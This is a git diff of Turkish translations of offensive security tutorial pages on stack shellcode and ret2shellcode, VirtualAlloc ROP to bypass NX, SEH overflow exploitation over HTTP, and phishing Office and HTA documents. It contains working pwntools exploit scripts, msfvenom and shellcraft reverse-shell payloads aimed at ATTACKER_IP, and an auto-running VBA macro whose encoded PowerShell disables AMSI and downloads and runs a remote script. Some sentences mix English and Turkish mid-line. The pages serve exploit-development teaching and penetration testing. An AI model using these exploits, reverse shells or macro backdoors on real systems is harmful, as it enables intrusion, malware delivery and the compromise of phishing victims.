açıklaması, basit bir C örneği ve Python ile **pwntools** kullanarak nasıl bir exploit yazabileceğinize dair bilgiler yer almaktadır. -### C Örneği: Zafiyetli Bir Program +### C Örneği: Bir Zafiyetli Program Basit bir zafiyetli C programı örneğiyle başlayalım: ```c @@ -24,22 +24,22 @@ printf("Returned safely\n"); return 0; } ``` -Bu program, `gets()` fonksiyonunun kullanımı nedeniyle bir buffer overflow'a karşı savunmasızdır. +Bu program, `gets()` fonksiyonunun kullanımı nedeniyle bir buffer overflow zafiyetine sahiptir. ### Derleme -Bu programı çeşitli korumaları devre dışı bırakarak (savunmasız bir ortamı simüle etmek için) derlemek için şu komutu kullanabilirsiniz: +Bu programı çeşitli korumaları devre dışı bırakarak (zafiyetli bir ortamı simüle etmek için) derlemek için aşağıdaki komutu kullanabilirsiniz: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-fno-stack-protector`: Stack korumasını devre dışı bırakır. -- `-z execstack`: Stack'i çalıştırılabilir hale getirir; bu, stack'te depolanan shellcode'u çalıştırmak için gereklidir. -- `-no-pie`: Position Independent Executable'i devre dışı bırakır; bu, shellcode'umuzun bulunacağı bellek adresini tahmin etmeyi kolaylaştırır. -- `-m32`: Programı 32-bit executable olarak derler; genellikle exploit geliştirmede sadelik için kullanılır. +- `-z execstack`: Stack'i yürütülebilir hale getirir; bu, stack üzerinde depolanan shellcode'un çalıştırılması için gereklidir. +- `-no-pie`: Position Independent Executable'i (PIE) devre dışı bırakır; shellcode'un bellekte bulunacağı adresi tahmin etmeyi kolaylaştırır. +- `-m32`: Programı 32-bit bir yürütülebilir olarak derler; exploit geliştirmede genellikle basitlik için kullanılır. -### Python'da Pwntools kullanarak Exploit +### Pwntools kullanarak Python exploit -Aşağıda **pwntools** kullanarak Python'da bir exploit yazarak **ret2shellcode** saldırısını nasıl gerçekleştirebileceğinizi gösteren bir örnek bulunmaktadır: +Aşağıda **pwntools** kullanarak bir **ret2shellcode** saldırısı gerçekleştirmek için Python'da nasıl bir exploit yazabileceğiniz gösterilmektedir: ```python from pwn import * @@ -66,28 +66,28 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` -Bu script, **NOP slide**, **shellcode** içeren ve ardından **EIP**'i NOP slide'a işaret eden adresle üzerine yazarak shellcode'un çalışmasını sağlayan bir payload oluşturur. +This script, bir **NOP slide**, **shellcode** ve ardından **EIP**'yi NOP slide'a işaret eden adresle üzerine yazarak shellcode'un çalıştırılmasını sağlayan bir payload oluşturur. -The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide. +The **NOP slide** (`asm('nop')`) tam adresten bağımsız olarak yürütmenin shellcode'umuza "slide" yapma ihtimalini artırmak için kullanılır. `p32()` argümanını buffer'ınızın başlangıç adresine ek bir offset ekleyerek NOP slide'a düşecek şekilde ayarlayın. ## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode) -On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain. +Modern Windows'ta stack non-executable (DEP/NX) olarak ayarlıdır. Stack BOF'tan sonra stack-resident shellcode'u yine de çalıştırmanın yaygın bir yolu, module Import Address Table (IAT) içinden VirtualAlloc (veya VirtualProtect) çağıran bir 64-bit ROP zinciri inşa etmek, stack'in bir bölgesini executable hale getirmek ve ardından zincirin hemen sonrasına eklenmiş shellcode'a dönmektir. Önemli noktalar (Win64 calling convention): - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) -- RCX = lpAddress → mevcut stack'te bir adres seçin (e.g., RSP) böylece yeni ayırılan RWX bölge payload'unuzla çakışsın -- RDX = dwSize → zinciriniz + shellcode'unuz için yeterince büyük (e.g., 0x1000) +- RCX = lpAddress → mevcut stack'te bir adres seçin (ör. RSP) böylece yeni ayrılan RWX bölgesi payload'unuzla çakışsın +- RDX = dwSize → zinciriniz + shellcode için yeterince büyük (ör. 0x1000) - R8 = flAllocationType = MEM_COMMIT (0x1000) - R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) -- Zincirin hemen sonrasına konan shellcode'a doğrudan dönün. +- Zincirin hemen sonrasına yerleştirilmiş shellcode'a doğrudan dönün. Minimal strateji: -1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR. -2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000). -3) Place stage-2 shellcode immediately after the chain. +1) Leak a module base elde edin (ör. format-string, object pointer, vb.) ve ASLR altında mutlak gadget ve IAT adreslerini hesaplayın. +2) RCX/RDX/R8/R9'i yüklemek için gadget'lar bulun (pop veya mov/xor tabanlı diziler) ve call/jmp [VirtualAlloc@IAT]. Eğer doğrudan pop r8/r9 yoksa, sabitleri sentezlemek için aritmetik gadget'lar kullanın (ör. r8=0 yapıp r9'a 0x40'ı kırk kez ekleyerek 0x1000'e ulaşmak). +3) Stage-2 shellcode'u zincirin hemen sonrasına yerleştirin. -Örnek düzen (kavramsal): +Example layout (conceptual): ``` # ... padding up to saved RIP ... # R9 = 0x40 (PAGE_EXECUTE_READWRITE) @@ -104,10 +104,11 @@ POP_RDX_RET; 0x1000 JMP_SHELLCODE_OR_RET # ---- stage-2 shellcode (x64) ---- ``` -Sınırlı bir gadget setiyle, register değerlerini dolaylı olarak oluşturabilirsiniz, örneğin: -- mov r9, rbx; mov r8, 0; add rsp, 8; ret → r9'u rbx'ten ayarlar, r8'i sıfırlar ve stack'i bir junk qword ile telafi eder. +Kısıtlı bir gadget set ile register değerlerini dolaylı olarak oluşturabilirsiniz; örneğin: + +- mov r9, rbx; mov r8, 0; add rsp, 8; ret → r9'u rbx'ten ayarlar, r8'i sıfırlar ve stack'i gereksiz bir qword ile telafi eder. - xor rbx, rsp; ret → rbx'i mevcut stack pointer ile başlatır. -- push rbx; pop rax; mov rcx, rax; ret → RSP'den türetilmiş değeri RCX'e taşır. +- push rbx; pop rax; mov rcx, rax; ret → RSP'den türeyen değeri RCX'e taşır. Pwntools taslağı (bilinen bir base ve gadgets verildiğinde): ```python @@ -133,31 +134,31 @@ rop += p64(IAT_VirtualAlloc) rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) ``` İpuçları: -- VirtualProtect benzer şekilde çalışır eğer mevcut bir buffer'ı RX yapmak tercih ediliyorsa; parametre sırası farklıdır. -- Eğer stack alanı kısıtlıysa, RWX başka bir yerde ayır (RCX=NULL) ve stack'i tekrar kullanmak yerine o yeni bölgeye jmp yap. -- RSP'yi ayarlayan gadget'ları (e.g., add rsp, 8; ret) her zaman hesaba katmak için araya junk qwords ekle. +- VirtualProtect benzer şekilde çalışır; mevcut bir buffer'ı RX yapmak tercih edilirse parametre sırası farklıdır. +- Eğer stack alanı dar ise RWX'i başka bir yerde ayırın (RCX=NULL) ve stack'i yeniden kullanmak yerine o yeni bölgeye jmp yapın. +- RSP'yi ayarlayan gadget'ları (ör. add rsp, 8; ret) her zaman hesaba katın; araya çöp qword'lar ekleyin. -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **devre dışı bırakılmalıdır**, çünkü adresin yürütmeler arasında güvenilir olması için; aksi takdirde fonksiyonun saklanacağı adres her zaman aynı olmaz ve win fonksiyonunun nerede yüklendiğini bulmak için bir leak gerekir. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) aynı şekilde devre dışı bırakılmalıdır yoksa kompromit edilmiş EIP dönüş adresi asla takip edilmeyecektir. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** koruması, o bölge çalıştırılabilir olmayacağı için stack içindeki shellcode'un yürütülmesini engeller. +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **devre dışı bırakılmalıdır** ki adres çalıştırmalar arasında güvenilir olsun; aksi takdirde fonksiyonun depolanacağı adres her zaman aynı olmaz ve win fonksiyonunun nerede yüklendiğini anlamak için bir leak gerekir. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) ayrıca devre dışı bırakılmalıdır; aksi halde bozulmuş EIP dönüş adresi asla takip edilmeyecektir. +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** koruması, stack içindeki shellcode'un çalıştırılmasını engeller çünkü o bölge çalıştırılabilir olmayacaktır. -## Diğer Örnekler & Referanslar +## Diğer Örnekler ve Referanslar - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64bit, ASLR ile stack adres leak kullanılarak, shellcode yazıp ona atla +- 64bit, ASLR ile stack adres leak'i; shellcode yazıp ona jump yapılmasını gösterir - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32 bit, ASLR ile stack leak, shellcode yazıp ona atla +- 32 bit, ASLR ile stack leak; shellcode yazıp ona jump yapılması - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32 bit, ASLR ile stack leak, exit() çağrısını engellemek için karşılaştırma, bir değişkeni bir değerle overwrite etme, shellcode yazıp ona atla +- 32 bit, ASLR ile stack leak; exit() çağrısını önlemek için karşılaştırma, bir değişkeni bir değerle üzerine yazma, shellcode yazıp ona jump yapılması - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -- arm64, ASLR yok, stack'i çalıştırılabilir yapmak için ROP gadget ve stack'teki shellcode'a atlama +- arm64, ASLR yok; stack'i executable yapmak için ROP gadget ve stack'teki shellcode'a jump yapılması ## Referanslar - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) -- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) +- [VirtualAlloc dokümantasyonu](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md index 0b55b9e05..39d43bfd1 100644 --- a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md +++ b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md @@ -2,24 +2,24 @@ {{#include ../../banners/hacktricks-training.md}} -SEH-based exploitation, stack'ta saklanan Structured Exception Handler zincirini suistimal eden klasik bir x86 Windows tekniğidir. Bir stack buffer overflow iki 4-byte alanı overwrite ettiğinde +SEH-based exploitation, stack üzerinde saklanan Structured Exception Handler zincirini suistimal eden klasik bir x86 Windows tekniğidir. Bir stack buffer overflow iki 4 baytlık alanı ezdiğinde - nSEH: sonraki SEH kaydına işaretçi, ve - SEH: exception handler fonksiyonuna işaretçi -bir saldırgan yürütmeyi şu şekilde ele geçirebilir: +saldırgan yürütmeyi şu şekilde ele geçirebilir: -1) SEH'yi non-protected bir modüldeki POP POP RET gadget'inin adresine ayarlamak, böylece bir exception dispatch edildiğinde gadget saldırgan-kontrollü baytlara döner, ve -2) nSEH'yi kullanarak yürütmeyi (genellikle bir short jump) shellcode'un bulunduğu büyük taşan buffer'a geri yönlendirmek. +1) SEH'yi, korumasız bir modülde bulunan bir POP POP RET gadget'ının adresine ayarlayarak — böylece bir exception tetiklendiğinde gadget saldırgan-kontrollü baytlara geri döner, ve +2) nSEH'yi kullanarak yürütmeyi (tipik olarak kısa bir jump) shellcode'un bulunduğu ve taşma yapan büyük buffera geri yönlendirerek. -Bu teknik 32-bit süreçlere (x86) özgüdür. Modern sistemlerde gadget için SafeSEH ve ASLR olmayan bir modül tercih edin. Kötü karakterler genellikle C-strings ve HTTP parsing nedeniyle 0x00, 0x0a, 0x0d (NUL/CR/LF) gibi değerleri içerir. +Bu teknik 32-bit proseslere (x86) özgüdür. Modern sistemlerde gadget için SafeSEH ve ASLR olmayan bir modül tercih edin. Kötü karakterler genellikle C-strings ve HTTP parsing nedeniyle 0x00, 0x0a, 0x0d (NUL/CR/LF) içerir. --- ## Tam offsetleri bulma (nSEH / SEH) -- Process'i çökertin ve SEH zincirinin overwrite edildiğini doğrulayın (ör., x32dbg/x64dbg'de SEH view'i kontrol edin). -- Taşan veri olarak bir cyclic pattern gönderin ve nSEH ile SEH'ye düşen iki dword'un offsetlerini hesaplayın. +- Süreci çökertin ve SEH zincirinin ezildiğini doğrulayın (örn., x32dbg/x64dbg içinde SEH görünümünü kontrol edin). +- Taşma verisi olarak cyclic pattern gönderin ve nSEH ile SEH'ye düşen iki dword'un offsetlerini hesaplayın. Example with peda/GEF/pwntools on a 1000-byte POST body: ```bash @@ -33,24 +33,24 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())" /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH # ➜ offsets example: nSEH=660, SEH=664 ``` -Doğrulamak için bu pozisyonlara işaretleyiciler yerleştirin (ör. nSEH=b"BB", SEH=b"CC"). Çöküşün yeniden üretilebilir olması için toplam uzunluğu sabit tutun. +O pozisyonlara işaretleyiciler yerleştirerek doğrulayın (ör. nSEH=b"BB", SEH=b"CC"). Çöküşün tekrarlanabilir olması için toplam uzunluğu sabit tutun. --- -## POP POP RET (SEH gadget) seçimi +## POP POP RET (SEH gadget) Seçimi -SEH çerçevesini açmak ve nSEH baytlarınıza dönmek için bir POP POP RET dizisine ihtiyacınız var. Bunu SafeSEH olmayan ve tercihen ASLR'siz bir modülde bulun: +SEH çerçevesini açmak ve nSEH byte'larınıza geri dönmek için bir POP POP RET dizisine ihtiyacınız var. Bunu SafeSEH olmayan ve ideal olarak ASLR olmayan bir modülde bulun: - Mona (Immunity/WinDbg): `!mona modules` ardından `!mona seh -m modulename`. -- x64dbg plugin ERC.Xdbg: `ERC --SEH` POP POP RET gadgets ve SafeSEH durumunu listelemek için. +- x64dbg plugin ERC.Xdbg: `ERC --SEH` ile POP POP RET gadget'larını ve SafeSEH durumunu listeleyin. -Küçük-endian yazıldığında badchars içermeyen bir adres seçin (ör. `p32(0x004094D8)`). Koruma mekanizmaları izin veriyorsa gadget'ları vulnerable binary içinde tercih edin. +Little-endian yazıldığında badchars içermeyen bir adres seçin (ör. `p32(0x004094D8)`). Koruma mekanizmaları izin veriyorsa gadget'ları vulnerable binary içinde tercih edin. --- ## Geri atlama tekniği (short + near jmp) -nSEH sadece 4 bayttır; bu en fazla 2 baytlık bir short jump (`EB xx`) artı dolguya sığar. Buffer başlangıcınıza ulaşmak için yüzlerce bayt geri atlamanız gerekiyorsa, nSEH'den hemen önce yerleştirilmiş 5 baytlık bir near jump kullanın ve nSEH'den yapılan short jump ile ona zincirleyin. +nSEH yalnızca 4 byte'tır ve en fazla 2-byte'lık bir short jump (`EB xx`) artı padding'e sığar. Eğer buffer başlangıcına erişmek için yüzlerce byte geri atlamak zorundaysanız, nSEH'den hemen önce yerleştirilmiş 5-byte'lık bir near jump kullanın ve nSEH'den yapılan short jump ile ona zincirleyin. nasmshell ile: ```text @@ -61,7 +61,7 @@ EBF6 nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) E96FFDFFFF ``` -nSEH'nin offset 660'da olduğu 1000-byte payload için düzen fikri: +660 offsetinde nSEH bulunan 1000-byte payload için düzen fikri: ```python buffer_length = 1000 payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start @@ -71,17 +71,17 @@ payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pa payload += p32(0x004094D8) # SEH: POP POP RET (no badchars) payload += b"D" * (buffer_length - len(payload)) ``` -Çalışma akışı: -- İstisna oluşur, dispatcher üzerine yazılmış SEH'yi kullanır. -- POP POP RET, nSEH'imize geri sarılır. -- nSEH, 5 baytlık near jump içine `jmp short -8` çalıştırır. -- Near jump, buffer'ımızın başına iner; burası NOP sled + shellcode'un bulunduğu yerdir. +Execution flow: +- İstisna oluşur; dispatcher üzerine yazılmış SEH'i kullanır. +- POP POP RET, nSEH'imize doğru açılma (unwind) gerçekleştirir. +- nSEH, 5-byte near jump içine `jmp short -8` çalıştırır. +- Near jump, buffer'ımızın başlangıcına iner; burada NOP sled + shellcode bulunur. --- -## Bad characters +## Kötü karakterler -Tam bir badchar dizisi oluşturun ve çökme sonrası stack belleğini karşılaştırarak hedef parser tarafından bozulmuş byte'ları çıkarın. HTTP tabanlı overflows için, `\x00\x0a\x0d` neredeyse her zaman hariç tutulur. +Tam bir badchar string oluşturun ve çöküş sonrası stack memory'yi karşılaştırarak, hedef parser tarafından bozulmuş byte'ları çıkarın. HTTP-based overflows için, `\x00\x0a\x0d` neredeyse her zaman hariç tutulur. ```python badchars = bytes([x for x in range(1,256)]) payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case @@ -90,12 +90,12 @@ payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for ## Shellcode generation (x86) -msfvenom'i badchars ile kullanın. Küçük bir NOP sled, iniş konumu sapmalarını tolere etmeye yardımcı olur. +msfvenom'i badchars ile kullanın. Küçük bir NOP sled iniş varyansını tolere etmeye yardımcı olur. ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f python -v sc ``` -Eğer anında oluşturuluyorsa, hex formatı Python'da gömmek ve unhex yapmak için kullanışlıdır: +Eğer dinamik olarak üretiyorsanız, hex formatı Python'da embed etmek ve unhex yapmak için kullanışlıdır: ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f hex @@ -104,7 +104,7 @@ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LP ## HTTP üzerinden gönderme (kesin CRLF + Content-Length) -Zafiyet vektörü bir HTTP request body olduğunda, sunucunun taşan gövdenin tamamını okuması için kesin CRLFs ve Content-Length ile ham bir istek oluşturun. +Zafiyet vektörü bir HTTP isteği gövdesiyse, sunucunun taşan gövdeyi tamamen okumasını sağlamak için tam CRLFs ve Content-Length ile ham bir istek oluşturun. ```python # pip install pwntools from pwn import remote @@ -127,21 +127,21 @@ p.close() ## Araçlar -- x32dbg/x64dbg ile SEH zincirini gözlemlemek ve çöküşü değerlendirmek. -- ERC.Xdbg (x64dbg eklentisi) ile SEH gadgets'larını listelemek: `ERC --SEH`. -- Alternatif olarak Mona: `!mona modules`, `!mona seh`. -- Kısa/near jump'ları assemble etmek ve ham opcode'ları kopyalamak için nasmshell. -- Hassas ağ payload'ları oluşturmak için pwntools. +- x32dbg/x64dbg ile SEH chain'i gözlemlemek ve crash'i triage etmek. +- ERC.Xdbg (x64dbg eklentisi) ile SEH gadget'larını listelemek için: `ERC --SEH`. +- Mona alternatif olarak: `!mona modules`, `!mona seh`. +- nasmshell kısa/near jump'ları assemble etmek ve ham opcode'ları kopyalamak için. +- pwntools hassas ağ payload'ları oluşturmak için. --- ## Notlar ve uyarılar -- Sadece x86 prosesleri için geçerlidir. x64 farklı bir SEH şeması kullanır ve SEH-based exploitation genellikle mümkün değildir. -- SafeSEH ve ASLR olmayan modüllerdeki gadgets'ları tercih edin; aksi takdirde, süreçte yüklü korumasız bir modül bulun. -- Çökme sonrası otomatik yeniden başlatma yapan service watchdog'ları, iterative exploit development'i kolaylaştırabilir. +- Yalnızca x86 süreçlerine uygulanır. x64 farklı bir SEH şeması kullanır ve SEH-based exploitation genellikle uygulanabilir değildir. +- SafeSEH ve ASLR olmayan modüllerdeki gadget'ları tercih edin; aksi halde, süreç içine yüklenmiş korumasız bir modül bulun. +- Çökme sonrasında otomatik yeniden başlatma yapan service watchdog'ları iteratif exploit geliştirmeyi kolaylaştırabilir. -## Referanslar +## References - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) - [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg) - [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 61b760a23..3aeaebb73 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,40 +1,40 @@ -# Phishing Dosyalar & Belgeler +# Phishing Files & Documents {{#include ../../banners/hacktricks-training.md}} -## Office Belgeleri +## Office Documents -Microsoft Word, bir dosyayı açmadan önce dosya veri doğrulaması yapar. Veri doğrulaması, OfficeOpenXML standardına göre veri yapısı tanımlaması şeklinde gerçekleştirilir. Veri yapısı tanımlaması sırasında herhangi bir hata oluşursa, incelenen dosya açılmaz. +Microsoft Word bir dosyayı açmadan önce dosya veri doğrulaması gerçekleştirir. Veri doğrulaması, OfficeOpenXML standardına karşı veri yapı tanımlaması şeklinde yapılır. Veri yapı tanımlaması sırasında herhangi bir hata oluşursa, analiz edilen dosya açılmayacaktır. -Genellikle makro içeren Word dosyaları `.docm` uzantısını kullanır. Ancak dosya uzantısını değiştirerek dosyayı yeniden adlandırmak ve makro çalıştırma yeteneklerini korumak mümkündür.\ -Örneğin, RTF formatı tasarım gereği makro desteği sağlamaz, ancak bir `.docm` dosyası RTF olarak yeniden adlandırılırsa Microsoft Word tarafından işlenecek ve makro çalıştırma yeteneğine sahip olacaktır.\ -Aynı iç yapılar ve mekanizmalar Microsoft Office Suite içindeki tüm yazılımlar için geçerlidir (Excel, PowerPoint vb.). +Genellikle, makro içeren Word dosyaları `.docm` uzantısını kullanır. Ancak, dosya uzantısını değiştirerek dosyanın adını değiştirmek ve yine de makro çalıştırma yeteneklerini korumak mümkündür.\ +Örneğin, bir RTF dosyası tasarım gereği makroları desteklemez, ancak DOCM olarak yeniden adlandırılan bir dosya RTF olarak Microsoft Word tarafından işlenir ve makro çalıştırma yeteneğine sahip olur.\ +Aynı içyapılar ve mekanizmalar Microsoft Office Suite (Excel, PowerPoint etc.) yazılımlarının tamamı için geçerlidir. Bazı Office programları tarafından hangi uzantıların çalıştırılacağını kontrol etmek için aşağıdaki komutu kullanabilirsiniz: ```bash assoc | findstr /i "word excel powerp" ``` -DOCX dosyaları, makrolar içeren uzak bir şablona referans veriyorsa (File –Options –Add-ins –Manage: Templates –Go) makroları da “çalıştırabilir”. +DOCX dosyaları makrolar içeren ve uzak bir template'e referans veren (File –Options –Add-ins –Manage: Templates –Go) makroları da “çalıştırabilir.” -### Harici Resim Yükleme +### Harici Görsel Yükleme -Şuraya gidin: _Insert --> Quick Parts --> Field_\ -_**Kategoriler**: Links and References, **Alan adları**: includePicture, ve **Dosya adı veya URL**:_ http:///whatever +Git: _Insert --> Quick Parts --> Field_\ +_**Kategoriler**: Links and References, **Filed names**: includePicture ve **Dosya adı veya URL**:_ http:///whatever ![](<../../images/image (155).png>) ### Macros Backdoor -Belgeden macros kullanarak rastgele kod çalıştırmak mümkündür. +Belgeden makrolar kullanılarak rastgele kod çalıştırmak mümkündür. -#### Autoload functions +#### Otomatik yükleme fonksiyonları -Ne kadar yaygınlarsa, AV'nin onları tespit etme olasılığı o kadar yüksek olur. +Ne kadar yaygınlarsa, AV tarafından tespit edilme olasılığı o kadar artar. - AutoOpen() - Document_Open() -#### Macros Code Examples +#### Makrolar Kod Örnekleri ```vba Sub AutoOpen() CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") @@ -64,26 +64,26 @@ Dim proc As Object Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") proc.Create "powershell ``` -#### Meta verilerini elle kaldırma +#### Meta verileri elle kaldırma -Şu menüye gidin: **File > Info > Inspect Document > Inspect Document**, bu işlem Document Inspector'ı açacaktır. **Inspect**'e tıklayın ve ardından **Document Properties and Personal Information** yanında **Remove All**'a tıklayın. +Şuraya gidin: **File > Info > Inspect Document > Inspect Document**, bu Document Inspector'ı açacaktır. **Inspect**'e tıklayın ve sonra **Document Properties and Personal Information** yanında **Remove All**'a tıklayın. -#### Belge uzantısı +#### Belge Uzantısı -İşlem bittikten sonra **Save as type** açılır menüsünden formatı **`.docx`**'ten **Word 97-2003 `.doc`**'a değiştirin.\ -Bunu yapın çünkü **`.docx` içine makro kaydedemezsiniz** ve makro etkin **`.docm`** uzantısı etrafında bir **stigma** vardır (ör. küçük resim simgesinde büyük bir `!` bulunur ve bazı web/e-posta geçitleri bunları tamamen engeller). Bu nedenle bu **eski `.doc` uzantısı en iyi uzlaşıdır**. +İşlem tamamlandığında, **Save as type** açılır menüsünden biçimi **`.docx`**'ten **Word 97-2003 `.doc`**'a değiştirin.\ +Bunu yapın çünkü **`.docx` içinde macro'ları kaydedemezsiniz** ve macro-enabled **`.docm`** uzantısı etrafında bir olumsuz algı vardır (ör. küçük resim simgesinde büyük bir `!` bulunur ve bazı web/e-posta gateway'leri bunları tamamen engeller). Bu nedenle, **eski `.doc` uzantısı en iyi uzlaşıdır**. -#### Malicious Macros Generators +#### Kötü Amaçlı Macro Generator'ları - MacOS - [**macphish**](https://github.com/cldrn/macphish) - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) -## HTA Files +## HTA Dosyaları -HTA, HTML ve betik dillerini (ör. **VBScript** ve **JScript**) birleştiren bir Windows programıdır. Kullanıcı arayüzünü oluşturur ve tarayıcının güvenlik modelinin kısıtlamaları olmadan "tam yetkili" bir uygulama olarak çalışır. +HTA, **HTML ve betik dillerini (ör. VBScript ve JScript) birleştiren** bir Windows programıdır. Kullanıcı arayüzünü oluşturur ve tarayıcının güvenlik modelinin kısıtlamaları olmadan "tam yetkili" bir uygulama olarak çalıştırılır. -HTA, **`mshta.exe`** kullanılarak çalıştırılır; bu genellikle **Internet Explorer** ile birlikte **yüklü** gelir, bu da **`mshta`'nın IE'ye bağımlı olmasına** neden olur. Dolayısıyla Internet Explorer kaldırıldıysa, HTA'lar çalıştırılamaz. +HTA, **`mshta.exe`** kullanılarak çalıştırılır; bu genellikle **yüklüdür** ve **Internet Explorer** ile birlikte gelir, bu da **`mshta`'yı IE'ye bağımlı** kılar. Yani IE kaldırıldıysa, HTA'lar çalıştırılamaz. ```html <--! Basic HTA Execution --> @@ -138,9 +138,9 @@ var_func self.close ``` -## NTLM Kimlik Doğrulamasını Zorlama +## NTLM Authentication'ı Zorlamak -NTLM kimlik doğrulamasını **"uzaktan" zorlamak** için birkaç yol vardır; örneğin, kullanıcının erişeceği e-postalara veya HTML'e **görünmez resimler** ekleyebilirsiniz (hatta HTTP MitM?). Veya kurbana **dosyaların adresini** göndererek, yalnızca **klasörü açmak** ile bir **kimlik doğrulamasını** **tetikleyebilirsiniz**. +NTLM authentication'ı "remotely" **force** etmenin birkaç yolu vardır; örneğin, kullanıcı erişeceği e-postalara veya HTML'e **invisible images** ekleyebilirsiniz (hatta HTTP MitM?). Veya mağdura sadece klasörü açmak için bir **authentication** tetikleyecek dosyaların **address of files**'ını gönderebilirsiniz. **Bu fikirleri ve daha fazlasını aşağıdaki sayfalarda inceleyin:** @@ -156,24 +156,24 